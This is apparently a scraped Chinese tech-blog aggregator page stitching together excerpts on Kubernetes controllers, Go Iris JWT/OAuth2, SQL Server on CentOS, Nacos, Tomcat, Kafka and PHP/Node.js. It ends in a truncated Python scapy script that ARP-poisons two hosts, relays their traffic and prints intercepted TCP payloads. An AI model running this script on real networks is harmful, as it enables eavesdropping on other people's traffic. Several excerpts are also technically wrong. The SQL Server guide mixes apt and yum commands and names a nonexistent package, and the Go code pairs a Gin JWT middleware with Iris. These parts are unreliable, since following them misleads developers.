Running 0 48snginx-7df9756ccc-fgst7 1/1 Running 0 66snginx-7df9756ccc-fgst7 1/1 Terminating 0 6m50snginx-7df9756ccc-8zhwk 1/1 Terminating 0 7m5snginx-7df9756ccc-cpgrv 1/1 Terminating 0 7m5snginx-7df9756ccc-g56qb 1/1 Terminating 0 6m50snginx-7df9756ccc-rr9bn 1/1 Terminating 0 7m5snginx-7df9756ccc-m9gsj 1/1 Terminating 0 6m50snginx-7df9756ccc-sl9c6 1/1 Terminating 0 6m50s DaemonSet 简称DS,ds可以保证在集群中的每一台节点(或指定节点)上都运行一个副本,一般适用于日志收集、节点监控等场景;也就是说,如果一个Pod提供的功能是节点级别的(每个节点都需要且只需要一个),那么这类Pod就适合使用DaemonSet类型的控制器创建。 DaemonSet控制器的特点: 每当向集群中添加一个节点时,指定的 Pod 副本也将添加到该节点上 当节点从集群中移除时,Pod 也就被垃圾回收了 配置模板 apiVersion: apps/v1 版本号kind: DaemonSet 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: daemonsetspec: 详情描述revisionHistoryLimit: 3 保留历史版本updateStrategy: 更新策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxUnavailable: 1 最大不可用状态的 Pod 的最大值,可以为百分比,也可以为整数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建ds 创建pc-daemonset.yaml,内容如下: apiVersion: apps/v1kind: DaemonSet metadata:name: pc-daemonsetnamespace: devspec: selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 创建daemonset[root@k8s-master01 ~] kubectl create -f pc-daemonset.yamldaemonset.apps/pc-daemonset created 查看daemonset[root@k8s-master01 ~] kubectl get ds -n dev -o wideNAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE AGE CONTAINERS IMAGES pc-daemonset 2 2 2 2 2 24s nginx nginx:1.17.1 查看pod,发现在每个Node上都运行一个pod[root@k8s-master01 ~] kubectl get pods -n dev -o wideNAME READY STATUS RESTARTS AGE IP NODE pc-daemonset-9bck8 1/1 Running 0 37s 10.244.1.43 node1 pc-daemonset-k224w 1/1 Running 0 37s 10.244.2.74 node2 2、删除daemonset [root@k8s-master01 ~] kubectl delete -f pc-daemonset.yamldaemonset.apps "pc-daemonset" deleted Job 主要用于负责批量处理一次性(每个任务仅运行一次就结束)任务。当然,你也可以运行多次,配置好即可,Job特点如下: 当Job创建的pod执行成功结束时,Job将记录成功结束的pod数量 当成功结束的pod达到指定的数量时,Job将完成执行 配置模板 apiVersion: batch/v1 版本号kind: Job 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: jobspec: 详情描述completions: 1 指定job需要成功运行Pods的次数。默认值: 1parallelism: 1 指定job在任一时刻应该并发运行Pods的数量。默认值: 1activeDeadlineSeconds: 30 指定job可运行的时间期限,超过时间还未结束,系统将会尝试进行终止。backoffLimit: 6 指定job失败后进行重试的次数。默认是6manualSelector: true 是否可以使用selector选择器选择pod,默认是falseselector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: counter-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [counter-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: counter-podspec:restartPolicy: Never 重启策略只能设置为Never或者OnFailurecontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 2;done"] 关于重启策略设置的说明:(这里只能设置为Never或者OnFailure) 如果指定为OnFailure,则job会在pod出现故障时重启容器,而不是创建pod,failed次数不变 如果指定为Never,则job会在pod出现故障时创建新的pod,并且故障pod不会消失,也不会重启,failed次数加1 如果指定为Always的话,就意味着一直重启,意味着job任务会重复去执行了,当然不对,所以不能设置为Always 1、创建一个job 创建pc-job.yaml,内容如下: apiVersion: batch/v1kind: Job metadata:name: pc-jobnamespace: devspec:manualSelector: trueselector:matchLabels:app: counter-podtemplate:metadata:labels:app: counter-podspec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 创建 创建job[root@k8s-master01 ~] kubectl create -f pc-job.yamljob.batch/pc-job created 查看job[root@k8s-master01 ~] kubectl get job -n dev -o wide -wNAME COMPLETIONS DURATION AGE CONTAINERS IMAGES SELECTORpc-job 0/1 21s 21s counter busybox:1.30 app=counter-podpc-job 1/1 31s 79s counter busybox:1.30 app=counter-pod 通过观察pod状态可以看到,pod在运行完毕任务后,就会变成Completed状态[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-rxg96 1/1 Running 0 29spc-job-rxg96 0/1 Completed 0 33s 接下来,调整下pod运行的总数量和并行数量 即:在spec下设置下面两个选项 completions: 6 指定job需要成功运行Pods的次数为6 parallelism: 3 指定job并发运行Pods的数量为3 然后重新运行job,观察效果,此时会发现,job会每次运行3个pod,总共执行了6个pod[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-684ft 1/1 Running 0 5spc-job-jhj49 1/1 Running 0 5spc-job-pfcvh 1/1 Running 0 5spc-job-684ft 0/1 Completed 0 11spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 ContainerCreating 0 0spc-job-jhj49 0/1 Completed 0 11spc-job-fhwf7 0/1 Pending 0 0spc-job-fhwf7 0/1 Pending 0 0spc-job-pfcvh 0/1 Completed 0 11spc-job-5vg2j 0/1 Pending 0 0spc-job-fhwf7 0/1 ContainerCreating 0 0spc-job-5vg2j 0/1 Pending 0 0spc-job-5vg2j 0/1 ContainerCreating 0 0spc-job-fhwf7 1/1 Running 0 2spc-job-v7rhr 1/1 Running 0 2spc-job-5vg2j 1/1 Running 0 3spc-job-fhwf7 0/1 Completed 0 12spc-job-v7rhr 0/1 Completed 0 12spc-job-5vg2j 0/1 Completed 0 12s 2、删除 删除jobkubectl delete -f pc-job.yaml CronJob 简称为CJ,CronJob控制器以 Job控制器资源为其管控对象,并借助它管理pod资源对象,Job控制器定义的作业任务在其控制器资源创建之后便会立即执行,但CronJob可以以类似于Linux操作系统的周期性任务作业计划的方式控制其运行时间点及重复运行的方式。也就是说,CronJob可以在特定的时间点(反复的)去运行job任务。可以理解为定时任务 配置模板 apiVersion: batch/v1beta1 版本号kind: CronJob 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: cronjobspec: 详情描述schedule: cron格式的作业调度运行时间点,用于控制任务在什么时间执行concurrencyPolicy: 并发执行策略,用于定义前一次作业运行尚未完成时是否以及如何运行后一次的作业failedJobHistoryLimit: 为失败的任务执行保留的历史记录数,默认为1successfulJobHistoryLimit: 为成功的任务执行保留的历史记录数,默认为3startingDeadlineSeconds: 启动作业错误的超时时长jobTemplate: job控制器模板,用于为cronjob控制器生成job对象;下面其实就是job的定义metadata:spec:completions: 1parallelism: 1activeDeadlineSeconds: 30backoffLimit: 6manualSelector: trueselector:matchLabels:app: counter-podmatchExpressions: 规则- {key: app, operator: In, values: [counter-pod]}template:metadata:labels:app: counter-podspec:restartPolicy: Never containers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 20;done"] cron表达式写法 需要重点解释的几个选项:schedule: cron表达式,用于指定任务的执行时间/1 <分钟> <小时> <日> <月份> <星期>分钟 值从 0 到 59.小时 值从 0 到 23.日 值从 1 到 31.月 值从 1 到 12.星期 值从 0 到 6, 0 代表星期日多个时间可以用逗号隔开; 范围可以用连字符给出;可以作为通配符; /表示每... 例如1 // 每个小时的第一分钟执行/1 // 每分钟都执行concurrencyPolicy:Allow: 允许Jobs并发运行(默认)Forbid: 禁止并发运行,如果上一次运行尚未完成,则跳过下一次运行Replace: 替换,取消当前正在运行的作业并用新作业替换它 1、创建cronJob 创建pc-cronjob.yaml,内容如下: apiVersion: batch/v1beta1kind: CronJobmetadata:name: pc-cronjobnamespace: devlabels:controller: cronjobspec:schedule: "/1 " 每分钟执行一次jobTemplate:metadata:spec:template:spec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 运行 创建cronjob[root@k8s-master01 ~] kubectl create -f pc-cronjob.yamlcronjob.batch/pc-cronjob created 查看cronjob[root@k8s-master01 ~] kubectl get cronjobs -n devNAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGEpc-cronjob /1 False 0 <none> 6s 查看job[root@k8s-master01 ~] kubectl get jobs -n devNAME COMPLETIONS DURATION AGEpc-cronjob-1592587800 1/1 28s 3m26spc-cronjob-1592587860 1/1 28s 2m26spc-cronjob-1592587920 1/1 28s 86s 查看pod[root@k8s-master01 ~] kubectl get pods -n devpc-cronjob-1592587800-x4tsm 0/1 Completed 0 2m24spc-cronjob-1592587860-r5gv4 0/1 Completed 0 84spc-cronjob-1592587920-9dxxq 1/1 Running 0 24s 2、删除cronjob kubectl delete -f pc-cronjob.yaml pod调度 什么是调度 默认情况下,一个pod在哪个node节点上运行,是通过scheduler组件采用相应的算法计算出来的,这个过程是不受人工控制的; 调度规则 但是在实际使用中,我们想控制某些pod定向到达某个节点上,应该怎么做呢?其实k8s提供了四类调度规则 调度方式 描述 自动调度 通过scheduler组件采用相应的算法计算得出运行在哪个节点上 定向调度 运行到指定的node节点上,通过NodeName、NodeSelector实现 亲和性调度 跟谁关系好就调度到哪个节点上 1、nodeAffinity :节点亲和性,调度到关系好的节点上 2、podAffinity:pod亲和性,调度到关系好的pod所在的节点上 3、PodAntAffinity:pod反清河行,调度到关系差的那个pod所在的节点上 污点(容忍)调度 污点是站在node的角度上的,比如果nodeA有一个污点,大家都别来,此时nodeA会拒绝master调度过来的pod 定向调度 指的是利用在pod上声明nodeName或nodeSelector的方式将pod调度到指定的pod节点上,因为这种定向调度是强制性的,所以如果node节点不存在的话,也会向上面进行调度,只不过pod会运行失败; 1、定向调度-> nodeName nodeName 是将pod强制调度到指定名称的node节点上,这种方式跳过了scheduler的调度逻辑,直接将pod调度到指定名称的节点上,配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeName: node1 调度到node1节点上 2、定向调度 -> NodeSelector NodeSelector是将pod调度到添加了指定label标签的node节点上,它是通过k8s的label-selector机制实现的,也就是说,在创建pod之前,会由scheduler用matchNodeSelecto调度策略进行label标签的匹配,找出目标node,然后在将pod调度到目标node; 要实验NodeSelector,首先得给node节点加上label标签 kubectl label nodes node1 nodetag=node1 配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeSelector: nodetag: node1 调度到具有nodetag=node1标签的节点上 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_27184497/article/details/121765387。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-29 09:08:28
422
转载
Go Iris
...OAuth2客户端 config := oauth2.Config{ ClientID: "your_client_id", ClientSecret: "your_client_secret", RedirectURL: "http://localhost:8080/callback", Endpoint: oauth2.Endpoint{ AuthURL: "https://accounts.google.com/o/oauth2/auth", TokenURL: "https://accounts.google.com/o/oauth2/token", }, Scopes: []string{"profile", "email"}, } // 登录路由 app.Get("/login", func(ctx iris.Context) { url := config.AuthCodeURL("state") ctx.Redirect(url) }) // 回调路由处理 app.Get("/callback", func(ctx iris.Context) { code := ctx.URLParam("code") token, err := config.Exchange(context.Background(), code) if err != nil { ctx.WriteString("Failed to exchange token: " + err.Error()) return } // 在这里处理token,例如保存到数据库或直接使用 }) app.Listen(":8080") } 3. 构建策略决策树 智能授权 现在,我们已经了解了JWT和OAuth2的基本概念及其在Iris框架中的应用。接下来,我们要聊聊怎么把这两样东西结合起来,搞出一棵基于策略的决策树,这样就能更聪明地做授权决定了。 3.1 策略决策树的概念 策略决策树是一种基于规则的系统,用于根据预定义的条件做出决策。在这个情况下,我们主要根据用户的JWT信息(比如他们的角色和权限)和OAuth2的授权状态来判断他们是否有权限访问某些特定的资源。换句话说,就是看看用户是不是有“资格”去看那些东西。 代码示例:基于JWT的角色授权 go package main import ( "github.com/kataras/iris/v12" jwt "github.com/appleboy/gin-jwt/v2" ) type MyCustomClaims struct { Role string json:"role" jwt.StandardClaims } func main() { app := iris.New() jwtMiddleware, _ := jwt.New(&jwt.GinJWTMiddleware{ Realm: "test zone", Key: []byte("secret key"), Timeout: time.Hour, MaxRefresh: time.Hour, IdentityKey: "id", IdentityHandler: func(c jwt.Manager, ctx iris.Context) (interface{}, error) { claims := jwt.ExtractClaims(ctx) role := claims["role"].(string) return &MyCustomClaims{Role: role}, nil }, }) // 保护需要特定角色才能访问的路由 app.Use(jwtMiddleware.MiddlewareFunc()) // 定义受保护的路由 app.Get("/admin", jwtMiddleware.AuthorizeRole("admin"), func(ctx iris.Context) { ctx.Writef("Welcome admin!") }) app.Listen(":8080") } 3.2 结合OAuth2与JWT的策略决策树 为了进一步增强安全性,我们可以将OAuth2的授权状态纳入策略决策树中。这意味着,不仅需要验证用户的JWT,还需要检查OAuth2授权的状态,以确保用户具有访问特定资源的权限。 代码示例:结合OAuth2与JWT的策略决策 go package main import ( "github.com/kataras/iris/v12" jwt "github.com/appleboy/gin-jwt/v2" "golang.org/x/oauth2" ) // 自定义的OAuth2授权检查函数 func checkOAuth2Authorization(token oauth2.Token) bool { // 这里可以根据实际情况添加更多的检查逻辑 return token.Valid() } func main() { app := iris.New() jwtMiddleware, _ := jwt.New(&jwt.GinJWTMiddleware{ Realm: "test zone", Key: []byte("secret key"), Timeout: time.Hour, MaxRefresh: time.Hour, IdentityKey: "id", IdentityHandler: func(c jwt.Manager, ctx iris.Context) (interface{}, error) { claims := jwt.ExtractClaims(ctx) role := claims["role"].(string) return &MyCustomClaims{Role: role}, nil }, }) app.Use(jwtMiddleware.MiddlewareFunc()) app.Get("/secure-resource", jwtMiddleware.AuthorizeRole("user"), func(ctx iris.Context) { // 获取当前请求的JWT令牌 token := jwtMiddleware.TokenFromRequest(ctx.Request()) // 检查OAuth2授权状态 if !checkOAuth2Authorization(token) { ctx.StatusCode(iris.StatusUnauthorized) ctx.Writef("Unauthorized access") return } ctx.Writef("Access granted to secure resource") }) app.Listen(":8080") } 4. 总结与展望 通过以上讨论和代码示例,我们看到了如何在Iris框架中有效地使用JWT和OAuth2来构建一个智能的授权决策系统。这不仅提高了应用的安全性,还增强了用户体验。以后啊,随着技术不断进步,咱们可以期待更多酷炫的新方法来简化这些流程,让认证和授权变得超级高效又方便。 希望这篇探索之旅对你有所帮助,也欢迎你加入讨论,分享你的见解和实践经验!
2024-11-07 15:57:06
56
夜色朦胧
Linux
...二零一六年,SQL Server这位数据库界的重量级选手,突然间跳出舒适区,登上Linux的热场,给程序员和运维人员带来了意想不到的创新惊喜。嘿,今天咱们来聊聊怎么在那个经典的CentOS 7系统上给SQL Server 2016找个家,一步步操作起来,超简单! 1.2 SQL Server on Linux的背景 - 在2016年12月,微软宣布将SQL Server移植到Linux,这一举措标志着数据库技术的开放和包容性增强。 - 对于那些依赖SQL Server的企业来说,能在Linux上运行意味着更大的灵活性和成本节省。 第二章:系统需求与兼容性 2.1 硬件与软件环境 - CentOS 7.5要求稳定的硬件资源,包括足够的内存和CPU性能。 - 至少需要64位的Linux内核版本,因为SQL Server 2016是64位的。 bash 检查系统版本和CPU架构 uname -a - 验证你的CentOS版本是否满足要求,确保支持的内核模块已安装。 2.2 兼容性概述 - SQL Server 2016 for Linux支持多种架构,包括x86和x86_64,但不支持ARM架构。 - 在决定安装前,确认你的硬件是兼容的,可以通过dpkg --print-architecture或cat /proc/cpuinfo检查。 第三章:安装准备 3.1 添加官方仓库 - 在CentOS 7中,我们需要添加Microsoft的Yum源才能获取SQL Server的安装包。 bash wget -qO- https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - echo "deb [arch=amd64,signed-by=/usr/share/keyrings/microsoft-archive-keyring.gpg] https://packages.microsoft.com/repos/mssql-release/centos7_amd64 yum stable" | sudo tee /etc/yum.repos.d/mssql-release.repo - 更新yum仓库以便安装最新版本。 bash sudo yum update -y 3.2 选择安装类型 - SQL Server 2016提供了两种安装选项:Evaluation(免费试用版,适合开发和测试)和Community(商业版,需要订阅)。 bash sudo yum install msopengauss msopengauss-client msopengauss-devel -y - 或者,选择Community版,可能需要替换msopengauss为mssql-server。 第四章:安装与配置 4.1 安装SQL Server - 使用yum安装SQL Server,记得替换版本号和实例名称。 bash sudo yum install mssql-server-2016 -y sudo systemctl start msopengauss - 如果是社区版,可能会看到类似mssql-server的包名。 4.2 配置和初始化 - 使用mssql-conf工具进行基本配置,如设置监听端口和密码。 bash sudo opt/mssql/bin/mssql-conf setup - 选择“Custom Configuration”,根据需要自定义安装。 4.3 数据库实例管理 - 创建数据库实例,例如: bash sudo opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P 'your_password' -Q "CREATE DATABASE YourDatabaseName" - 更改默认的sa用户密码: bash sudo opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P 'old_password' -Q "ALTER LOGIN sa WITH PASSWORD = 'new_password'" 第五章:连接与验证 5.1 命令行工具 - 使用sqlcmd工具连接到新安装的数据库。 bash sqlcmd -S localhost -U sa -P 'your_password' - 验证连接成功后,可以执行查询操作。 5.2图形化工具 - 可以选择安装SQL Server Management Studio(SSMS)的Linux版本,或者使用第三方工具如ssms-linux,来进行更直观的管理。 结论 6.1 总结与展望 - CentOS 7确实可以安装SQL Server 2016,尽管它已经不再是最新版本,但对于那些还在使用或需要兼容旧版本的用户来说,这是一个可行的选择。 - 未来,随着技术的迭代,SQL Server on Linux的体验会越来越完善,跨平台的数据库管理将更加无缝。 在这个快速发展的技术时代,适应变化并充分利用新的工具是关键。真心希望这篇指南能像老朋友一样,手把手教你轻松搞定在Linux大本营里安装和打理SQL Server 2016的那些事儿,让你畅游在数据库的海洋里无阻无碍。嘿,想找最潮的解决招数对吧?记得翻翻官方手册,那里有新鲜出炉的支援和超实用的建议!
2024-04-11 11:07:55
96
醉卧沙场_
Nacos
...工具来简化服务管理和部署流程。 一、Java SDK 基础操作与实例 Java SDK 是 Nacos 提供的最核心的客户端工具包,它支持了从配置管理到服务发现的全部功能。哎呀,对Java程序员来说,这简直就是天降福音!因为这样一来,Nacos的强大功能就能直接无缝融入你们的Java项目里啦,简直不要太方便!再也不用担心集成问题了,直接开搞就是这么简单粗暴! 安装与初始化 首先,确保你已经将 Nacos Java SDK 添加到了项目的依赖中。可以通过 Maven 或 Gradle 的方式来完成。接下来,初始化 Nacos 客户端: java import com.alibaba.nacos.api.NacosFactory; import com.alibaba.nacos.api.config.ConfigService; public class NacosConfigExample { public static void main(String[] args) { ConfigService configService = NacosFactory.createConfigService("127.0.0.1:8848"); String content = configService.getConfig("spring.profiles.active", "default", 3000); System.out.println(content); } } 这段代码展示了如何通过 Nacos Java SDK 获取配置信息。这里我们尝试从 Nacos 中获取 spring.profiles.active 的值,并默认返回 "default" 如果配置不存在或获取超时。 配置更新与监听 除了获取配置外,Java SDK 还允许你实时监听配置的变化并自动更新应用程序的状态。这对于动态环境下的应用非常有用: java configService.addListener("spring.profiles.active", new Listener() { @Override public void receiveConfigInfo(String configInfo) { System.out.println("Config changed to: " + configInfo); } @Override public void onException(Exception e) { System.err.println("Error while listening to config change."); } }); 二、Python SDK 灵活的配置管理 对于 Python 开发者,Nacos 提供了专门的 Python SDK,使得配置管理变得轻松且直观。通过这个 SDK,你可以方便地在 Python 应用中集成 Nacos 的服务发现和配置管理功能。 安装与使用 可以通过 pip 来安装 Nacos Python SDK: bash pip install nacos-sdk-python 然后,你可以使用如下代码片段来获取配置: python from nacos import Client, ConfigType, NacosClient client = NacosClient(['127.0.0.1:8848'], username='nacos', password='nacos') config = client.get_config("spring.profiles.active", "default", 3000) print(config.content) 总结 Nacos 通过提供丰富的客户端 SDK,为开发者提供了灵活且高效的方式来集成其服务管理功能。无论是 Java 开发者还是 Python 开发者,都可以根据自己的需求选择合适的 SDK 来简化开发流程,提高生产力。从简单的配置获取到复杂的服务发现,Nacos SDK 都能提供全面的支持。嘿!读完这篇文章后,是不是觉得Nacos这个家伙挺有意思的?是不是已经迫不及待想要深入了解它,看看它在你的项目里能干出啥大事情了?别急,跟着我的步伐,咱们一起深入探索Nacos的奥秘,让它在你的项目中大放异彩吧!
2024-10-04 15:43:16
51
月下独酌
Tomcat
...服务器,以其高效、易部署和可扩展性深受开发者喜爱。不过,你知道嘛,一旦我们试着在网上远程操控它,就可能遇到些让人眉头紧锁的小麻烦。今天,我们就来聊聊如何解决这些问题。 二、远程连接的基本原理 2.1 SSH隧道:要实现远程连接Tomcat,首先需要通过SSH(Secure Shell)建立一个安全的通道。SSH允许我们在不信任的网络上安全地传输数据,例如: java import java.io.BufferedReader; import java.io.InputStreamReader; public class SshTunnel { public static void main(String[] args) throws Exception { String sshCommand = "ssh -L 8080:localhost:8080 user@remote-server"; Process sshProcess = Runtime.getRuntime().exec(sshCommand); BufferedReader reader = new BufferedReader(new InputStreamReader(sshProcess.getInputStream())); String line; while ((line = reader.readLine()) != null) { System.out.println(line); } } } 这段代码启动了一个SSH隧道,将本地的8080端口映射到远程服务器的8080端口。 三、常见问题及解决策略 3.1 访问权限问题 3.1.1 错误提示:Permission denied (publickey,password). 解决:确保你有正确的SSH密钥对配置,并且远程服务器允许公钥认证。如果没有,可能需要输入密码登录。 3.1.2 代码示例: bash ssh-copy-id -i ~/.ssh/id_rsa.pub user@remote-server 这将把本地的公钥复制到远程服务器的~/.ssh/authorized_keys文件中。 3.2 端口防火墙限制 3.2.1 解决:检查并允许远程访问所需的SSH端口(默认22),以及Tomcat的HTTP或HTTPS端口(如8080)。 3.3 SSL/TLS证书问题 3.3.1 解决:如果使用HTTPS,确保服务器有有效的SSL证书,并在Tomcat的server.xml中配置正确。 xml SSLEnabled="true" keystoreFile="/path/to/keystore.jks" keystorePass="your-password"/> 四、高级连接技巧与安全考量 4.1 使用SSL/TLS加密通信 4.1.1 安装并配置SSL:使用openssl命令行工具生成自签名证书,或者购买受信任的证书。 4.2 使用JMX远程管理 4.2.1 配置Tomcat JMX:在conf/server.xml中添加标签,启用JMX管理。 xml 4.3 最后的安全建议:始终确保你的SSH密钥安全,定期更新和审计服务器配置,以防止潜在的攻击。 五、结语 5.1 远程连接Tomcat虽然复杂,但只要我们理解其工作原理并遵循最佳实践,就能顺利解决问题。记住,安全永远是第一位的,不要忽视任何可能的风险。 希望通过这篇文章,你对Tomcat的远程连接有了更深入的理解,并能在实际工作中灵活运用。如果你在实施过程中遇到更多问题,欢迎继续探索和讨论!
2024-06-17 11:00:56
264
翡翠梦境
Kafka
...bootstrap-server localhost:9092 --config replica_assignment=0:1:2 上述命令将会抛出UnknownReplicaAssignmentException,因为broker ID为2的节点在集群中并不存在。 2. 解决UnknownReplicaAssignmentException的方法 2.1 检查集群Broker状态 首先,你需要确认提供的所有副本broker是否都存在于当前Kafka集群中。可以通过运行如下命令查看集群中所有的broker信息: bash kafka-broker-api-versions.sh --bootstrap-server localhost:9092 确保你在分配副本时引用的broker ID都在输出结果中。 2.2 调整副本分配策略 如果发现确实有错误引用的broker ID,你需要重新调整副本分配策略。例如,修正上面的例子,将 replication-factor 改为与集群规模相匹配的值: bash kafka-topics.sh --create --topic my-topic --partitions 1 --replication-factor 2 --bootstrap-server localhost:9092 2.3 验证并修复配置文件 此外,还需检查Kafka配置文件(server.properties)中关于broker ID的设置是否正确。每个broker都应该有一个唯一的、在集群范围内有效的ID。 2.4 手动修正已存在的问题主题 若已存在因副本分配问题而引发异常的主题,可以尝试手动删除并重新创建。但务必谨慎操作,以免影响业务数据。 bash kafka-topics.sh --delete --topic my-topic --bootstrap-server localhost:9092 再次按照正确的配置创建主题 kafka-topics.sh --create ... 使用合适的参数创建主题 3. 思考与探讨 面对这类问题,除了具体的技术解决方案外,我们更应该思考如何预防此类异常的发生。比如在搭建和扩容Kafka集群这事儿上,咱们得把副本分配策略和集群大小的关系琢磨透彻;而在日常的运维过程中,别忘了定期给集群做个全面体检,查看下主题的那些副本分布是否均匀健康。同时呢,我们也在用自动化的小工具和监控系统,就像有一双随时在线的火眼金睛,能实时发现并预警那些可能会冒出来的UnknownReplicaAssignmentException等小捣蛋鬼,这样一来,咱们的Kafka服务就能更稳、更快地运转起来,像上了发条的瑞士钟表一样精准高效。 总之,虽然UnknownReplicaAssignmentException可能带来一时的困扰,但只要深入了解其背后原理,采取正确的应对措施,就能迅速将其化解,让我们的Kafka服务始终保持良好的运行状态。在这个过程中,不断学习、实践和反思,是我们提升技术能力,驾驭复杂系统的必经之路。
2023-02-04 14:29:39
435
寂静森林
PHP
...'); const server = http.createServer((req, res) => { res.statusCode = 200; res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ data: 'Hello from Node.js!' })); }); server.listen(3000); 在这个示例中,PHP使用file_get_contents函数从Node.js获取数据,然后输出到网页上。Node.js则是利用了http这个模块,捣鼓出了一个HTTP服务器。每当它收到一个GET请求时,就会超级贴心地回传一个JSON格式的数据对象作为回应。 2. 使用WebSocket协议 除了HTTP协议,我们还可以使用WebSocket协议来进行PHP和Node.js的交互。WebSocket,你知道吧,就像是一种神奇的双向聊天管道。它能让浏览器或者客户端和服务器两者之间,始终保持实时、流畅的对话,而且啊,还用不着像以前那样,老是反复地发送HTTP请求,多高效便捷!以下是一个简单的示例代码: php $host = 'localhost'; $port = 3000; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($socket, $host, $port); socket_write($socket, "GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n"); $response = socket_read($socket, 1024); echo $response; socket_close($socket); ?> javascript const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 3000 }); wss.on('connection', ws => { ws.send('Hello from Node.js!'); ws.on('message', message => { console.log(Received message => ${message}); }); }); 在这个示例中,PHP使用socket_create和socket_connect函数创建了一个TCP连接,并向Node.js发送了一个HTTP GET请求。Node.js借助WebSocket模块,捣鼓出一个WebSocket服务器。每当有客户端小手一挥发起连接请求时,服务器就会立马给客户端回个消息。同时,它还耳聪目明地监听着客户端发来的每一条消息事件。 四、总结 总的来说,PHP和Node.js都是优秀的Web开发工具,它们有着各自的优点和适用场景。PHP这门语言,就像是企业级应用开发的传统老将,尤其在那些需要稳定、持久运行的场景里,它发挥得游刃有余。而Node.js呢,更像是实时交互和高并发处理领域的灵活小能手,对于那些要求快速响应、大量并发请求的应用开发,Node.js的表现绝对会让你眼前一亮,就像个活力十足的小伙子,轻松应对各种挑战。无论你挑哪个工具,咱都得把它独有的特点和优势摸得门儿清,然后把这些优势发挥到极致,这样才能让开发效率蹭蹭往上涨,同时保证咱们的应用程序质量杠杠滴。此外,咱们也得摸清楚PHP和Node.js是怎么联手合作的,这样一来,咱就能更巧妙地把这两门技术的优点用到极致,给咱们的开发工作添砖加瓦,创造出更多意想不到的可能性。
2024-01-21 08:08:12
62
昨夜星辰昨夜风_t
转载文章
...:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 